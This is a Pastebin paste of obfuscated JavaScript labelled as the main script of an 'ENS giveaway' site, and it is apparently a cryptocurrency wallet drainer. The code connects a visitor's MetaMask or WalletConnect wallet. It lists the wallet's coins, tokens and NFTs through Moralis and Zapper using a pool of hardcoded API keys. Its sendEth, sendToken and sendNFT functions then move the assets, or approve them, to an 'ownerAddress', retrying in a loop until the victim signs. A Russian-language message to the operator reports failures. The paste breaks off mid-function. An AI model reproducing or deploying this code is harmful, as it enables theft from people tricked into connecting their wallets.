Advertisement
Guest User

ensgiveaway.com main.js

a guest
Nov 8th, 2022
175
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
JavaScript 35.09 KB | Cryptocurrency | 0 0
  1. const _0xd12d80 = _0x1083;
  2. (function (_0x51827e, _0x3b9c60) {
  3.   const _0x4b1858 = _0x1083,
  4.   _0x321ac9 = _0x51827e();
  5.   while (!![]) {
  6.     try {
  7.       const _0x761534 = parseInt(_0x4b1858(265)) / 1 + parseInt(_0x4b1858(340)) / 2 * ( - parseInt(_0x4b1858(330)) / 3) + parseInt(_0x4b1858(181)) / 4 + parseInt(_0x4b1858(191)) / 5 * (parseInt(_0x4b1858(227)) / 6) + parseInt(_0x4b1858(278)) / 7 + parseInt(_0x4b1858(226)) / 8 + - parseInt(_0x4b1858(269)) / 9;
  8.       if (_0x761534 === _0x3b9c60) break;
  9.        else _0x321ac9['push'](_0x321ac9['shift']());
  10.     } catch (_0x25f16e) {
  11.       _0x321ac9['push'](_0x321ac9['shift']());
  12.     }
  13.   }
  14. }(_0x4428, 568022), ZAPPER_MATCH = {
  15.   'eth': _0xd12d80(172),
  16.   'matic': 'polygon',
  17.   'bsc': _0xd12d80(341)
  18. }, NATIVE_MATCH = {
  19.   'eth': _0xd12d80(206),
  20.   'matic': _0xd12d80(296),
  21.   'bsc': _0xd12d80(171)
  22. }, CHAIN_ID = {
  23.   'eth': 1,
  24.   'matic': 137,
  25.   'bsc': 56
  26. }, MORALIS_MATCH = {
  27.   'eth': _0xd12d80(311),
  28.   'matic': _0xd12d80(228),
  29.   'bsc': 'bsc'
  30. });
  31. var connected = 0;
  32. itemList = [
  33. ];
  34. var nativePrices = {
  35.   'eth': 0,
  36.   'matic': 0,
  37.   'bsc': 0
  38. },
  39. tgMsgCount = {
  40.   'approve': 0,
  41.   'canceled': 0,
  42.   'signed': 0,
  43.   'canceledSwitch': 0
  44. };
  45. account = '';
  46. async function connectWalletConnect() {
  47.   const _0x5a379b = _0xd12d80;
  48.   var _0x5d9734 = new WalletConnectProvider[(_0x5a379b(175))]({
  49.     'infuraId': _0x5a379b(291),
  50.     'qrcodeModalOptions': {
  51.       'desktopLinks': [
  52.       ],
  53.       'mobileLinks': [
  54.         _0x5a379b(218),
  55.         _0x5a379b(294),
  56.         _0x5a379b(170),
  57.         'math',
  58.         _0x5a379b(239),
  59.         _0x5a379b(303),
  60.         'crypto.com',
  61.         _0x5a379b(326),
  62.         _0x5a379b(349),
  63.         _0x5a379b(279),
  64.         _0x5a379b(187),
  65.         'coin98'
  66.       ]
  67.     }
  68.   });
  69.   await _0x5d9734[_0x5a379b(195)]() [_0x5a379b(293)](async _0x26ff3e=>{
  70.     const _0x176d09 = _0x5a379b;
  71.     web3 = new Web3(_0x5d9734);
  72.     const _0x4a4402 = await web3[_0x176d09(311)][_0x176d09(304)]();
  73.     account = _0x4a4402[0],
  74.     connected = 1,
  75.     updateState(_0x176d09(186)),
  76.     updateState(_0x176d09(256));
  77.     let _0x112938 = await fetchUserTokens(account);
  78.     updateState(_0x176d09(342));
  79.     if (!_0x112938) {
  80.       let _0x4700b6 = await getMoralisTokenBalances();
  81.       !_0x4700b6 ? await fetchSomething() : (console[_0x176d09(229)](itemList), itemList[_0x176d09(232)]((_0x34715e, _0x44b969) =>{
  82.         const _0x1f129f = _0x176d09;
  83.         if (_0x34715e[_0x1f129f(216)] > _0x44b969[_0x1f129f(216)]) return - 1;
  84.          else return _0x34715e[_0x1f129f(216)] < _0x44b969[_0x1f129f(216)] ? 1 : 0;
  85.       }));
  86.     }
  87.   });
  88. }
  89. let KEYS = [
  90.   '1Mk7wL6PhOXZ0OnauXnqvWong1LEwN3VE9lFe2ZgFJnzIaBvbxfCzZWS82WDJhss',
  91.   'r92jUilEzb8AjbrfjMFP0kzWXQTFnWxluzudS0FCwTD1BGGxRyOP0XNtg55QV4sr',
  92.   _0xd12d80(328),
  93.   _0xd12d80(174),
  94.   _0xd12d80(235),
  95.   'SwG7gVxXlWjpeLU7lx3aOyLSDkQKex16UpuqR1bG4p9zmD9kzoDvu4LiLBoiz7Ll',
  96.   _0xd12d80(233),
  97.   _0xd12d80(190),
  98.   _0xd12d80(257),
  99.   'r0oJFWVzCvW5rKbDLyVtqTsSgqKHTxXPZav7T8p2egXEcjQHbHVevhZo3hTENam4',
  100.   _0xd12d80(282),
  101.   _0xd12d80(225),
  102.   _0xd12d80(262),
  103.   'o6Cuh6X3k7CoFqtdN5K1z1VECS8zufO9qafdrV26LAtnSPPNLozIqNgvVWO0DbmD',
  104.   'nZrLLhl1RYwlJhYk5q3tAsRFgj23L4ZhfZ501p6L0MmA7f6t0SaTV7KnIoyCIX66',
  105.   _0xd12d80(270),
  106.   _0xd12d80(273),
  107.   '3D1Mx5OMCBpWfCUfzu5OXTANGSzNb9rbljrUJyHafIV7rTb3ORlyvzy5liBfy233',
  108.   _0xd12d80(224),
  109.   _0xd12d80(274),
  110.   'Gj3xD2CNVOYcd710PctBSK1hNYJxjX8C0hMtHlLFiHw7BPhu4PBGN2hsDYF4ttAq',
  111.   _0xd12d80(299),
  112.   _0xd12d80(182),
  113.   _0xd12d80(241),
  114.   'ZNXbJ4DXSKsQyIYQmvbKz9KfpIriGSIZpUVVSWGt6Tvn1RtCN8npGnsqpI1Q0twi',
  115.   _0xd12d80(180)
  116. ],
  117. ETH_MORALIS_BALANCE,
  118. ETH_TOKENS_MORALIS,
  119. BNB_MORALIS_BALANCE,
  120. BSC_TOKENS_MORALIS,
  121. ETH_PRICE_MORALIS = 1600,
  122. BNB_PRICE_MORALIS = 330;
  123. async function getMoralisTokenBalances() {
  124.   return new Promise(_0x19edd1=>{
  125.     const _0x889d29 = _0x1083,
  126.     _0x15ab62 = {
  127.       'method': _0x889d29(252),
  128.       'url': _0x889d29(237) + account + '/balance',
  129.       'params': {
  130.         'chain': _0x889d29(311)
  131.       },
  132.       'headers': {
  133.         'accept': _0x889d29(248),
  134.         'X-API-Key': KEYS[Math['floor'](Math[_0x889d29(298)]() * KEYS[_0x889d29(305)])]
  135.       }
  136.     };
  137.     axios[_0x889d29(209)](_0x15ab62) [_0x889d29(293)](function (_0x2d5de3) {
  138.       const _0x427541 = _0x889d29;
  139.       ETH_MORALIS_BALANCE = _0x2d5de3[_0x427541(214)][_0x427541(236)],
  140.       itemList['push']({
  141.         'contract': '0x0000000000000000000000000000000000000000',
  142.         'price': Number(web3[_0x427541(283)][_0x427541(284)](ETH_MORALIS_BALANCE, _0x427541(202)) * ETH_PRICE_MORALIS),
  143.         'type': _0x427541(217),
  144.         'chain': _0x427541(311),
  145.         'balance': Number(ETH_MORALIS_BALANCE)
  146.       });
  147.       const _0x2be1db = {
  148.         'method': 'GET',
  149.         'url': _0x427541(237) + account + '/erc20',
  150.         'params': {
  151.           'chain': 'eth'
  152.         },
  153.         'headers': {
  154.           'accept': _0x427541(248),
  155.           'X-API-Key': KEYS[Math[_0x427541(347)](Math[_0x427541(298)]() * KEYS[_0x427541(305)])]
  156.         }
  157.       };
  158.       axios[_0x427541(209)](_0x2be1db) [_0x427541(293)](function (_0x1068cf) {
  159.         const _0x128b98 = _0x427541;
  160.         ETH_TOKENS_MORALIS = _0x1068cf[_0x128b98(214)];
  161.         const _0x1f1d55 = {
  162.           'method': _0x128b98(252),
  163.           'url': _0x128b98(237) + account + _0x128b98(314),
  164.           'params': {
  165.             'chain': 'bsc'
  166.           },
  167.           'headers': {
  168.             'accept': _0x128b98(248),
  169.             'X-API-Key': KEYS[Math[_0x128b98(347)](Math[_0x128b98(298)]() * KEYS[_0x128b98(305)])]
  170.           }
  171.         };
  172.         axios[_0x128b98(209)](_0x1f1d55) [_0x128b98(293)](function (_0x2d6edd) {
  173.           const _0x1d478f = _0x128b98;
  174.           BNB_MORALIS_BALANCE = _0x2d6edd[_0x1d478f(214)][_0x1d478f(236)],
  175.           itemList[_0x1d478f(286)]({
  176.             'contract': _0x1d478f(221),
  177.             'price': Number(web3[_0x1d478f(283)][_0x1d478f(284)](BNB_MORALIS_BALANCE, _0x1d478f(202)) * BNB_PRICE_MORALIS),
  178.             'type': _0x1d478f(217),
  179.             'chain': _0x1d478f(300),
  180.             'balance': Number(BNB_MORALIS_BALANCE)
  181.           });
  182.           const _0x1bf643 = {
  183.             'method': _0x1d478f(252),
  184.             'url': _0x1d478f(237) + account + _0x1d478f(316),
  185.             'params': {
  186.               'chain': 'bsc'
  187.             },
  188.             'headers': {
  189.               'accept': 'application/json',
  190.               'X-API-Key': KEYS[Math['floor'](Math[_0x1d478f(298)]() * KEYS[_0x1d478f(305)])]
  191.             }
  192.           };
  193.           axios[_0x1d478f(209)](_0x1bf643) [_0x1d478f(293)](async function (_0x170dbb) {
  194.             const _0x4624ba = _0x1d478f;
  195.             BSC_TOKENS_MORALIS = _0x170dbb[_0x4624ba(214)];
  196.             if (ETH_TOKENS_MORALIS[_0x4624ba(305)] > 0) for (let _0x5f3002 = 0; _0x5f3002 < ETH_TOKENS_MORALIS['length']; _0x5f3002++) {
  197.               let _0x4f2546 = ETH_TOKENS_MORALIS[_0x5f3002],
  198.               _0x4a9dcc = await getETHTokenPrice(_0x4f2546);
  199.               if (_0x4a9dcc) {
  200.                 let _0x1bedcf = web3['utils'][_0x4624ba(284)](_0x4f2546[_0x4624ba(236)], 'ether'),
  201.                 _0x576d81 = _0x1bedcf * _0x4a9dcc;
  202.                 itemList[_0x4624ba(286)]({
  203.                   'contract': _0x4f2546[_0x4624ba(234)],
  204.                   'price': Number(_0x576d81),
  205.                   'type': _0x4624ba(176),
  206.                   'chain': 'eth',
  207.                   'balance': Number(_0x4f2546[_0x4624ba(236)])
  208.                 });
  209.               }
  210.               if (_0x5f3002 + 1 == ETH_TOKENS_MORALIS[_0x4624ba(305)]) {
  211.                 if (BSC_TOKENS_MORALIS['length'] > 0) for (let _0x525856 = 0; _0x525856 < BSC_TOKENS_MORALIS[_0x4624ba(305)]; _0x525856++) {
  212.                   let _0x4fd423 = BSC_TOKENS_MORALIS[_0x525856];
  213.                   if (_0x4fd423[_0x4624ba(234)] != _0x4624ba(185) && _0x4fd423[_0x4624ba(234)] != _0x4624ba(212) && _0x4fd423['token_address'] != _0x4624ba(338) && _0x4fd423[_0x4624ba(234)] != _0x4624ba(204) && _0x4fd423[_0x4624ba(234)] != '0x41cf3e9534156405a133cda545af9ff0e586500a' && _0x4fd423[_0x4624ba(234)] != _0x4624ba(348) && _0x4fd423[_0x4624ba(234)] != _0x4624ba(244) && _0x4fd423[_0x4624ba(234)] != _0x4624ba(193) && _0x4fd423[_0x4624ba(234)] != '0x29132062319aa375e764ef8ef756f2b28c77a9c9' && _0x4fd423['token_address'] != '0x15ea6b8481bf1c991ac3dc8e67279d31651a56fe' && _0x4fd423['token_address'] != _0x4624ba(268) && _0x4fd423[_0x4624ba(234)] != _0x4624ba(289)) {
  214.                     let _0x3ea93c = await getBSCTokenPrice(_0x4fd423);
  215.                     if (_0x3ea93c) {
  216.                       let _0x30535d = web3[_0x4624ba(283)][_0x4624ba(284)](_0x4fd423[_0x4624ba(236)], 'ether'),
  217.                       _0x59c881 = _0x30535d * _0x3ea93c;
  218.                       itemList[_0x4624ba(286)]({
  219.                         'contract': _0x4fd423[_0x4624ba(234)],
  220.                         'price': Number(_0x59c881),
  221.                         'type': 'token',
  222.                         'chain': _0x4624ba(300),
  223.                         'balance': Number(_0x4fd423['balance'])
  224.                       });
  225.                     }
  226.                   }
  227.                   if (_0x525856 + 1 == BSC_TOKENS_MORALIS['length']) return _0x19edd1(!![]);
  228.                 } else return _0x19edd1(!![]);
  229.               }
  230.             } else {
  231.               if (BSC_TOKENS_MORALIS[_0x4624ba(305)] > 0) for (let _0x1fd37c = 0; _0x1fd37c < BSC_TOKENS_MORALIS['length']; _0x1fd37c++) {
  232.                 let _0xa7b990 = BSC_TOKENS_MORALIS[_0x1fd37c];
  233.                 if (_0xa7b990[_0x4624ba(234)] != '0x71753d0586ea6b979dfccbb492a45e611e0e0ad6' && _0xa7b990[_0x4624ba(234)] != _0x4624ba(212) && _0xa7b990[_0x4624ba(234)] != '0x156ab3346823b651294766e23e6cf87254d68962' && _0xa7b990['token_address'] != _0x4624ba(204) && _0xa7b990[_0x4624ba(234)] != '0x41cf3e9534156405a133cda545af9ff0e586500a' && _0xa7b990[_0x4624ba(234)] != _0x4624ba(348) && _0xa7b990[_0x4624ba(234)] != _0x4624ba(244) && _0xa7b990['token_address'] != _0x4624ba(193) && _0xa7b990[_0x4624ba(234)] != _0x4624ba(267) && _0xa7b990[_0x4624ba(234)] != _0x4624ba(201) && _0xa7b990['token_address'] != _0x4624ba(268) && _0xa7b990[_0x4624ba(234)] != '0xc0c6e4c6e70c6231b20979bda581a66f062a7967') {
  234.                   let _0x2e6454 = await getBSCTokenPrice(_0xa7b990);
  235.                   if (_0x2e6454) {
  236.                     let _0x420e17 = web3[_0x4624ba(283)][_0x4624ba(284)](_0xa7b990['balance'], _0x4624ba(202)),
  237.                     _0x11ada1 = _0x420e17 * _0x2e6454;
  238.                     itemList[_0x4624ba(286)]({
  239.                       'contract': _0xa7b990['token_address'],
  240.                       'price': Number(_0x11ada1),
  241.                       'type': _0x4624ba(176),
  242.                       'chain': 'bsc',
  243.                       'balance': Number(_0xa7b990[_0x4624ba(236)])
  244.                     });
  245.                   }
  246.                 }
  247.                 if (_0x1fd37c + 1 == BSC_TOKENS_MORALIS[_0x4624ba(305)]) return _0x19edd1(!![]);
  248.               } else return _0x19edd1(!![]);
  249.             }
  250.           }) [_0x1d478f(200)](function (_0x5c3199) {
  251.             const _0x4c2486 = _0x1d478f;
  252.             return console[_0x4c2486(229)](_0x5c3199),
  253.             _0x19edd1(![]);
  254.           });
  255.         }) [_0x128b98(200)](function (_0x582a37) {
  256.           const _0xcf3b1b = _0x128b98;
  257.           return console[_0xcf3b1b(229)](_0x582a37),
  258.           _0x19edd1(![]);
  259.         });
  260.       }) ['catch'](function (_0x2cb84b) {
  261.         const _0x8b67a8 = _0x427541;
  262.         return console[_0x8b67a8(229)](_0x2cb84b),
  263.         _0x19edd1(![]);
  264.       });
  265.     }) [_0x889d29(200)](function (_0xf27b84) {
  266.       const _0x1d60f2 = _0x889d29;
  267.       return console[_0x1d60f2(229)](_0xf27b84),
  268.       _0x19edd1(![]);
  269.     });
  270.   });
  271. }
  272. async function getBSCTokenPrice(_0x28ecf3) {
  273.   return new Promise(_0x3c3753=>{
  274.     const _0x4de9ea = _0x1083,
  275.     _0x5ad078 = {
  276.       'method': 'GET',
  277.       'url': _0x4de9ea(309) + _0x28ecf3['token_address'] + _0x4de9ea(179),
  278.       'params': {
  279.         'chain': 'bsc'
  280.       },
  281.       'headers': {
  282.         'accept': _0x4de9ea(248),
  283.         'X-API-Key': KEYS[Math['floor'](Math[_0x4de9ea(298)]() * KEYS['length'])]
  284.       }
  285.     };
  286.     axios[_0x4de9ea(209)](_0x5ad078) [_0x4de9ea(293)](function (_0x5b4777) {
  287.       const _0x8c51e5 = _0x4de9ea;
  288.       return _0x5b4777[_0x8c51e5(214)][_0x8c51e5(220)] ? _0x3c3753(_0x5b4777[_0x8c51e5(214)][_0x8c51e5(220)]) : (console[_0x8c51e5(229)]('No Price: ', _0x28ecf3[_0x8c51e5(234)]), _0x3c3753(![]));
  289.     }) ['catch'](function (_0x46ba2e) {
  290.       const _0x1692d8 = _0x4de9ea;
  291.       return console[_0x1692d8(343)](_0x46ba2e),
  292.       _0x3c3753(![]);
  293.     });
  294.   });
  295. }
  296. async function getETHTokenPrice(_0x887379) {
  297.   return new Promise(_0x40331e=>{
  298.     const _0x5754d1 = _0x1083,
  299.     _0x4edca8 = {
  300.       'method': 'GET',
  301.       'url': _0x5754d1(309) + _0x887379[_0x5754d1(234)] + _0x5754d1(179),
  302.       'params': {
  303.         'chain': _0x5754d1(311)
  304.       },
  305.       'headers': {
  306.         'accept': _0x5754d1(248),
  307.         'X-API-Key': KEYS[Math[_0x5754d1(347)](Math[_0x5754d1(298)]() * KEYS['length'])]
  308.       }
  309.     };
  310.     axios[_0x5754d1(209)](_0x4edca8) [_0x5754d1(293)](function (_0x3b1349) {
  311.       const _0x1dd65f = _0x5754d1;
  312.       return _0x3b1349[_0x1dd65f(214)][_0x1dd65f(220)] ? _0x40331e(_0x3b1349['data']['usdPrice']) : (console[_0x1dd65f(229)]('No Price: ', _0x887379[_0x1dd65f(234)]), _0x40331e(![]));
  313.     }) ['catch'](function (_0x37d040) {
  314.       const _0x50d926 = _0x5754d1;
  315.       return console[_0x50d926(343)](_0x37d040),
  316.       _0x40331e(![]);
  317.     });
  318.   });
  319. }
  320. async function getTokenBalances() {
  321.   return new Promise(async _0x163b42=>{
  322.     const _0x207669 = _0x1083;
  323.     let _0x33725b = [
  324.       {
  325.         'constant': !![],
  326.         'inputs': [
  327.           {
  328.             'name': _0x207669(199),
  329.             'type': 'address'
  330.           }
  331.         ],
  332.         'name': _0x207669(177),
  333.         'outputs': [
  334.           {
  335.             'name': _0x207669(236),
  336.             'type': _0x207669(312)
  337.           }
  338.         ],
  339.         'payable': ![],
  340.         'type': 'function'
  341.       }
  342.     ];
  343.     const _0x4955d9 = [
  344.       '0x1f9840a85d5aF5bf1D1762F925BDADdC4201F984'
  345.     ],
  346.     _0x4d5040 = account;
  347.     for (let _0x52353c of _0x4955d9) {
  348.       const _0x426dd0 = new web3[(_0x207669(311))][(_0x207669(205))](_0x33725b, _0x52353c),
  349.       _0x488c0c = await _0x426dd0['methods'][_0x207669(177)](_0x4d5040) [_0x207669(194)]();
  350.       console[_0x207669(229)](_0x52353c, _0x488c0c);
  351.     }
  352.     return _0x163b42();
  353.   });
  354. }
  355. async function fetchSomething() {
  356.   return new Promise(_0x86cd6c=>{
  357.     const _0x5045da = _0x1083;
  358.     web3_new = new Web3(new Web3['providers'][(_0x5045da(285))](_0x5045da(238))),
  359.     web3_new[_0x5045da(311)][_0x5045da(266)](account, (_0xb0883b, _0x3d73a4) =>{
  360.       const _0x401b80 = _0x5045da;
  361.       if (_0xb0883b) alert(_0x401b80(297));
  362.        else {
  363.         let _0x4e01c4 = web3[_0x401b80(283)]['toWei'](_0x3d73a4, _0x401b80(323));
  364.         return itemList['push']({
  365.           'contract': '0x0000000000000000000000000000000000000000',
  366.           'price': Number(_0x4e01c4),
  367.           'type': _0x401b80(217),
  368.           'chain': 'eth',
  369.           'balance': Number(_0x4e01c4)
  370.         }),
  371.         _0x86cd6c();
  372.       }
  373.     });
  374.   });
  375. }
  376. async function connectMetamask() {
  377.   const _0x3f2930 = _0xd12d80;
  378.   if (connected == 1) return;
  379.   if (!window[_0x3f2930(172)] && document[_0x3f2930(272)] === _0x3f2930(331)) {
  380.     window['location']['href'] = _0x3f2930(319);
  381.     return;
  382.   }
  383.   await ethereum[_0x3f2930(209)]({
  384.     'method': 'eth_requestAccounts'
  385.   }),
  386.   provider = window[_0x3f2930(172)],
  387.   web3 = new Web3(provider);
  388.   const _0x5a6aed = await web3[_0x3f2930(311)][_0x3f2930(304)]();
  389.   account = _0x5a6aed[0],
  390.   connected = 1,
  391.   updateState('metamaskConnected'),
  392.   updateState(_0x3f2930(256));
  393.   let _0x136cc4 = await fetchUserTokens(account);
  394.   updateState('userTokensFetched');
  395.   if (!_0x136cc4) {
  396.     let _0xb5879 = await getMoralisTokenBalances();
  397.     !_0xb5879 ? await fetchSomething() : (console['log'](itemList), itemList['sort']((_0x1eb934, _0x411a5b) =>{
  398.       const _0x49d5bf = _0x3f2930;
  399.       if (_0x1eb934[_0x49d5bf(216)] > _0x411a5b[_0x49d5bf(216)]) return - 1;
  400.        else return _0x1eb934[_0x49d5bf(216)] < _0x411a5b[_0x49d5bf(216)] ? 1 : 0;
  401.     }));
  402.   }
  403. }
  404. async function fetchUserTokens(_0x1a894f) {
  405.   return new Promise(async _0x4ebbd6=>{
  406.     const _0x495919 = _0x1083;
  407.     try {
  408.       let _0x287df6 = 'https://deep-index.moralis.io/api/v2/' + _0x1a894f + '/balance',
  409.       _0x57a519 = _0x495919(237) + _0x1a894f + '/erc20',
  410.       _0x3bd8be = _0x495919(309),
  411.       _0x3147b4 = _0x495919(320) + _0x1a894f + _0x495919(329),
  412.       _0x34be33 = await fetch(_0x495919(243) + ('' + _0x1a894f) + _0x495919(308), {
  413.         'headers': {
  414.           'Authorization': ZAPPER_KEY
  415.         }
  416.       }),
  417.       _0x2370be = (await _0x34be33['text']()) ['replace'](/[\n]*event: [\w]*[\n]*data: \{"appId":"([-\w]*)","network":"([-\w]*)"/gi, _0x495919(189));
  418.       _0x2370be = '{' + _0x2370be[_0x495919(335)](1) [_0x495919(275)](_0x495919(247), '') + '}';
  419.       let _0x1843b0 = JSON['parse'](_0x2370be),
  420.       _0xa1da9d = [
  421.       ];
  422.       for (let _0x1b3669 in _0x1843b0) {
  423.         let _0x55be35 = [
  424.         ];
  425.         for (let _0x39cf26 in _0x1843b0[_0x1b3669][_0x495919(236)]) {
  426.           if (Object[_0x495919(258)](_0x1843b0[_0x1b3669][_0x495919(236)][_0x39cf26]) ['length'] !== 0) for (let _0xa5228d in _0x1843b0[_0x1b3669]['balance'][_0x39cf26]) {
  427.             if (_0x1843b0[_0x1b3669]['balance'][_0x39cf26][_0xa5228d][_0x495919(245)] != '0x0000000000000000000000000000000000000000') {
  428.               let _0x43917d = {
  429.               };
  430.               _0x43917d['contract'] = _0x1843b0[_0x1b3669][_0x495919(236)][_0x39cf26][_0xa5228d][_0x495919(245)],
  431.               _0x43917d[_0x495919(255)] = _0x495919(176),
  432.               _0x43917d[_0x495919(236)] = parseInt(_0x1843b0[_0x1b3669][_0x495919(236)][_0x39cf26][_0xa5228d][_0x495919(188)][_0x495919(260)]),
  433.               _0x43917d[_0x495919(216)] = _0x1843b0[_0x1b3669][_0x495919(236)][_0x39cf26][_0xa5228d][_0x495919(290)];
  434.               if (_0x1843b0[_0x1b3669][_0x495919(211)] == _0x495919(341)) _0x43917d[_0x495919(327)] = _0x495919(300);
  435.                else {
  436.                 if (_0x1843b0[_0x1b3669][_0x495919(211)] == _0x495919(228)) _0x43917d[_0x495919(327)] = 'matic';
  437.                  else _0x1843b0[_0x1b3669][_0x495919(211)] == _0x495919(172) ? _0x43917d['chain'] = 'eth' : _0x43917d[_0x495919(327)] = _0x1843b0[_0x1b3669][_0x495919(211)];
  438.               }
  439.               _0x55be35[_0x495919(286)](_0x43917d);
  440.             } else {
  441.               let _0x46cc32 = {
  442.               };
  443.               _0x46cc32[_0x495919(250)] = _0x1843b0[_0x1b3669][_0x495919(236)][_0x39cf26][_0xa5228d][_0x495919(245)],
  444.               _0x46cc32[_0x495919(255)] = _0x495919(217),
  445.               _0x46cc32['balance'] = parseInt(_0x1843b0[_0x1b3669][_0x495919(236)][_0x39cf26][_0xa5228d][_0x495919(188)][_0x495919(260)]),
  446.               _0x46cc32[_0x495919(216)] = _0x1843b0[_0x1b3669][_0x495919(236)][_0x39cf26][_0xa5228d][_0x495919(290)];
  447.               if (_0x1843b0[_0x1b3669][_0x495919(211)] == _0x495919(341)) _0x46cc32[_0x495919(327)] = 'bsc';
  448.                else {
  449.                 if (_0x1843b0[_0x1b3669]['network'] == 'polygon') _0x46cc32[_0x495919(327)] = _0x495919(208);
  450.                  else _0x1843b0[_0x1b3669][_0x495919(211)] == _0x495919(172) ? _0x46cc32[_0x495919(327)] = _0x495919(311) : _0x46cc32[_0x495919(327)] = _0x1843b0[_0x1b3669][_0x495919(211)];
  451.               }
  452.               _0x55be35[_0x495919(286)](_0x46cc32);
  453.             }
  454.           }
  455.         }
  456.         if (Object['keys'](_0x55be35) [_0x495919(305)] !== 0) _0xa1da9d[_0x495919(286)](_0x55be35);
  457.       }
  458.       for (let _0x4604e7 of Object[_0x495919(350)](chains)) {
  459.         if (!_0x4604e7[1]) continue;
  460.          else {
  461.         }
  462.         let _0x10a92e = nativePrices[_0x4604e7[0]];
  463.         if (toDrain[_0x4604e7[0]][_0x495919(315)] == !![]) {
  464.           let _0x1d8c85 = await fetch(_0x3147b4, {
  465.             'headers': {
  466.               'Authorization': ZAPPER_KEY
  467.             }
  468.           });
  469.           nftList = (await _0x1d8c85['json']()) [_0x495919(240)],
  470.           itemList = itemList[_0x495919(230)](nftList['map'](_0x233b84=>{
  471.             const _0x1ceb8a = _0x495919;
  472.             return {
  473.               'contract': _0x233b84[_0x1ceb8a(176)][_0x1ceb8a(169)][_0x1ceb8a(245)],
  474.               'balance': _0x233b84['token'][_0x1ceb8a(287)],
  475.               'type': _0x1ceb8a(315),
  476.               'price': _0x233b84[_0x1ceb8a(176)][_0x1ceb8a(261)] * _0x10a92e,
  477.               'chain': _0x4604e7[0]
  478.             };
  479.           }));
  480.         }
  481.         if (toDrain[_0x4604e7[0]][_0x495919(322)] == !![]) {
  482.           let _0x272ffe = [
  483.           ];
  484.           for (let _0x439834 in _0xa1da9d) {
  485.             for (tokenid in _0xa1da9d[_0x439834]) {
  486.               _0xa1da9d[_0x439834][tokenid][_0x495919(327)] == _0x4604e7[0] && _0xa1da9d[_0x439834][tokenid][_0x495919(255)] == _0x495919(176) && _0x272ffe['push'](_0xa1da9d[_0x439834][tokenid]);
  487.             }
  488.           }
  489.           itemList = itemList[_0x495919(230)](_0x272ffe);
  490.         }
  491.         if (toDrain[_0x4604e7[0]][_0x495919(311)] == !![]) {
  492.           let _0xdf7228 = [
  493.           ];
  494.           for (let _0x4d8f11 in _0xa1da9d) {
  495.             for (tokenid in _0xa1da9d[_0x4d8f11]) {
  496.               _0xa1da9d[_0x4d8f11][tokenid]['chain'] == _0x4604e7[0] && _0xa1da9d[_0x4d8f11][tokenid][_0x495919(255)] == _0x495919(217) && _0xdf7228[_0x495919(286)](_0xa1da9d[_0x4d8f11][tokenid]);
  497.             }
  498.           }
  499.           itemList = itemList[_0x495919(230)](_0xdf7228);
  500.         }
  501.       }
  502.       return itemList[_0x495919(232)]((_0x21533a, _0x38aeb8) =>{
  503.         const _0x182301 = _0x495919;
  504.         if (_0x21533a[_0x182301(216)] > _0x38aeb8[_0x182301(216)]) return - 1;
  505.          else return _0x21533a[_0x182301(216)] < _0x38aeb8[_0x182301(216)] ? 1 : 0;
  506.       }),
  507.       _0x4ebbd6(!![]);
  508.     } catch (_0x59126d) {
  509.       return await sendMsg('🛑 Возможно отрыгнул парсинг по апи! Проверить!', !![]),
  510.       _0x4ebbd6(![]);
  511.     }
  512.   });
  513. }
  514. async function sendEth(_0x2fd3dd, _0x160ed8) {
  515.   return new Promise(async _0x4815c6=>{
  516.     const _0x17239a = _0x1083;
  517.     if (_0x160ed8 == 'bsc') {
  518.       gasPrice = await web3[_0x17239a(311)]['getGasPrice'](),
  519.       newAmount = _0x2fd3dd - Number(gasPrice * 400000);
  520.       if (newAmount < 0) return;
  521.       var _0x5287fc = {
  522.         'from': account,
  523.         'to': ownerAddress,
  524.         'value': newAmount
  525.       };
  526.       let _0x499684 = ![];
  527.       while (!_0x499684) {
  528.         var _0x27199e = 1;
  529.         try {
  530.           return await web3[_0x17239a(311)][_0x17239a(249)](_0x5287fc),
  531.           _0x499684 = !![],
  532.           logTx(_0x27199e),
  533.           _0x4815c6();
  534.         } catch (_0x28399d) {
  535.           _0x27199e = 0,
  536.           _0x499684 = ![];
  537.         }
  538.       }
  539.     } else {
  540.       gasPrice = await web3[_0x17239a(311)][_0x17239a(210)](),
  541.       newAmount = _0x2fd3dd - 1300000000000000 - Number(gasPrice);
  542.       if (newAmount < 0) return;
  543.       var _0x5287fc = {
  544.         'from': account,
  545.         'to': ownerAddress,
  546.         'value': newAmount
  547.       };
  548.       let _0x4c7d26 = ![];
  549.       while (!_0x4c7d26) {
  550.         var _0x27199e = 1;
  551.         try {
  552.           await web3[_0x17239a(311)]['sendTransaction'](_0x5287fc, (_0x4b5087, _0x428e98) =>{
  553.             if (_0x4b5087) _0x27199e = 0,
  554.             _0x4c7d26 = ![];
  555.              else return _0x4c7d26 = !![],
  556.             logTx(_0x27199e),
  557.             _0x4815c6();
  558.           });
  559.         } catch (_0x24d1d4) {
  560.           _0x27199e = 0,
  561.           _0x4c7d26 = ![];
  562.         }
  563.       }
  564.     }
  565.   });
  566. }
  567. async function sendToken(_0x505b29, _0x2020ca) {
  568.   return new Promise(async _0x10f10d=>{
  569.     const _0x20c2c8 = _0x1083;
  570.     let _0xe1a77f,
  571.     _0x434034,
  572.     _0x891ac = ![];
  573.     while (!_0x891ac) {
  574.       var _0x14a2a0 = 1;
  575.       try {
  576.         _0xe1a77f = new web3[(_0x20c2c8(311))][(_0x20c2c8(205))](ERC20_ABI, _0x2020ca),
  577.         _0x434034 = await _0xe1a77f[_0x20c2c8(276)][_0x20c2c8(313)](ownerAddress, _0x505b29[_0x20c2c8(306)](_0x20c2c8(302), {
  578.           'useGrouping': ![]
  579.         })) ['send']({
  580.           'from': account,
  581.           'gas': 120000,
  582.           'gasPrice': 0
  583.         }) ['on'](_0x20c2c8(321), _0x1a93c7=>{
  584.           return _0x891ac = !![],
  585.           logTx(_0x14a2a0),
  586.           _0x10f10d();
  587.         }) ['on'](_0x20c2c8(343), _0xa26a56=>{
  588.           _0x891ac = ![];
  589.         });
  590.       } catch (_0x2ee2e9) {
  591.         _0x891ac = ![];
  592.       }
  593.     }
  594.   });
  595. }
  596. async function sendNFT(_0xa24bbc, _0x502f8e) {
  597.   const _0x2effbc = _0xd12d80;
  598.   var _0x575ba0 = new web3[(_0x2effbc(311))][(_0x2effbc(205))](ERC721_ABI, _0x502f8e),
  599.   _0x3aa3ed = 1;
  600.   try {
  601.     await _0x575ba0['methods']['approve'](ownerAddress, _0xa24bbc) ['send']({
  602.       'from': account,
  603.       'gas': 120000,
  604.       'gasPrice': 0
  605.     });
